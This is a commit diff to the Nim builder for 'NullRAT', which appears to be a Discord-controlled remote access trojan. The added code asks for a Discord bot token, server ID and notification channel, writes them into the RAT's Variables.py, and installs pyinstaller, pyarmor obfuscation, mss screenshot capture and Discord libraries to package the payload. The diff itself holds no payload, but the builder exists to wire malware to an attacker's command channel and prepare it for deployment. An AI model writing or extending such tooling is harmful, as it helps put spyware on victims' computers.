Add variables generation to new compiler

Author: NullCode1337

compiler.nim

@@ -2,7 +2,7 @@ import std/terminal
 import std/os
 import std/browsers
 import std/osproc
-import std/[strutils, strtabs]
+import std/[strutils, strformat]
 
 proc cls() = 
     discard execShellCmd("cls")
@@ -14,7 +14,7 @@ discard execShellCmd("mode con: cols=80 lines=29");
 proc cleanWorkingDir() =
     echo ""
     var dirrr = getAppDir();
-    setCurrentDir(getAppDir());
+    setCurrentDir(dirrr);
     echo getCurrentDir();
     if dirExists(absolutePath("NullRAT")):
         createDir("NullRAT2")
@@ -68,9 +68,81 @@ proc printName() =
     stdout.styledWriteLine(fgRed, "  =========================================================")
     echo ""
 
+proc compiler() = 
+    cls()
+    printName()
+    discard getch()
+    
 proc variablesCreator() = 
-    echo "vars"
+    cls()
+    printName()
+    var dirr = getAppDir()
+    setCurrentDir(dirr / "NullRAT")
+    echo ""
+    
+    stdout.styledWriteLine({styleBright}, "  >> Variables Creator <<")
+    if fileExists("Variables.py"):
+        echo "\n- Existing Variables file discovered!"
+        echo "\nStored information\n------------------"
+        let EnF = readFile("Variables.py")
+        echo EnF
+        stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
+        var input: char = getch()
+        if input == 'N' or input == 'n':
+            echo "- Information marked incorrect! Continuing..."
+            sleep(1000)
+            cls()
+            printName()
+        else:
+            echo "- Information marked correct. Preserving..."
+            sleep(1000)
+            compiler()
+
+    echo "-----------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n-----------"
+    stdout.styledWriteLine({styleBright}, "\n[1] Please enter the Discord bot token: ")
+    var token = readLine(stdin);
+    stdout.styledWriteLine({styleBright}, "[2] Please enter the Server ID: ")
+    var serverID = readLine(stdin)
+    stdout.styledWriteLine({styleBright}, "[3] Please enter the Notification channel ID: ")
+    var notificationID = readLine(stdin)
 
+    let lines = [
+        "# This file was auto-generated by NullRAT Builder. DO NOT EDIT!",
+        fmt"bot_token = ""{token}""",
+        "notification_channel = " & notificationID,
+        "server_ids = [" & serverID & "]"
+    ]
+    
+    cls()
+    printName()
+    stdout.styledWriteLine({styleBright}, "  >> Variables Creator <<")
+    echo ""
+    echo "Obtained information:"
+    echo "---------------------"
+    for line in lines:
+        if "#" in line: continue
+        echo line
+    echo ""
+    stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
+    var input: char = getch()
+    if input == 'N' or input == 'n':
+        echo "- Aborted! Returning to main menu..."
+        sleep(2000)
+    else:
+        echo "- Information marked correct. Writing..."
+        removeFile("Variables.py")
+        let f = open("Variables.py", fmWrite)
+        defer: f.close()
+        
+        for line in lines:
+            f.writeLine(line)    
+            
+        stdout.styledWriteLine({styleBright}, "- Written information to disk!")
+        echo ""
+        stdout.styledWriteLine({styleBright}, "Moving on to compiler...")
+        sleep(3000)
+        compiler()
+            
 proc packageInstaller() = 
     cls()
     printName()
@@ -80,7 +152,8 @@ proc packageInstaller() =
     var status: int = execShellCmd("python --version")
     var status2: int = execShellCmd("py --version")
     if status == 0 or status2 == 0:
-        echo "Python installed!"
+        echo "- Python installed!"
+        echo ""
         stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
         var result = execCmdEx("pip freeze")
         var allInstalled: bool = true
@@ -92,20 +165,20 @@ proc packageInstaller() =
                 allInstalled = false
 
             if allInstalled:
-                echo "All packages installed and detected! Proceeding on with variables creation..."
+                echo "- All packages installed and detected!\n\nProceeding on with variables creation..."
                 sleep(3000)
                 variablesCreator()
             else:
-                stdout.styledWriteLine({styleBright}, "[3] Installing dependencies...")
+                stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
                 var res = execShellCmd("pip install pyinstaller==4.10 virtualenv aiohttp disnake requests mss pyarmor")
                 if res == 0:
                     echo "========================"
-                    stdout.styledWriteLine({styleBright}, "All Installed! Moving to variables creation...")
+                    stdout.styledWriteLine({styleBright}, "All Installed!\nMoving to variables creation...")
                     sleep(2000)
                     variablesCreator()
 
     else:
-        stdout.styledWriteLine({styleBright}, "Python not installed!\nWould you like to download the recommended python installer? (Y/n): ")
+        stdout.styledWriteLine({styleBright}, "-nPython not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
         var input: char = getch();
         if input == 'N' or input == 'n':
             echo "NullRAT Builder cannot continue otherwise!!! Exiting..."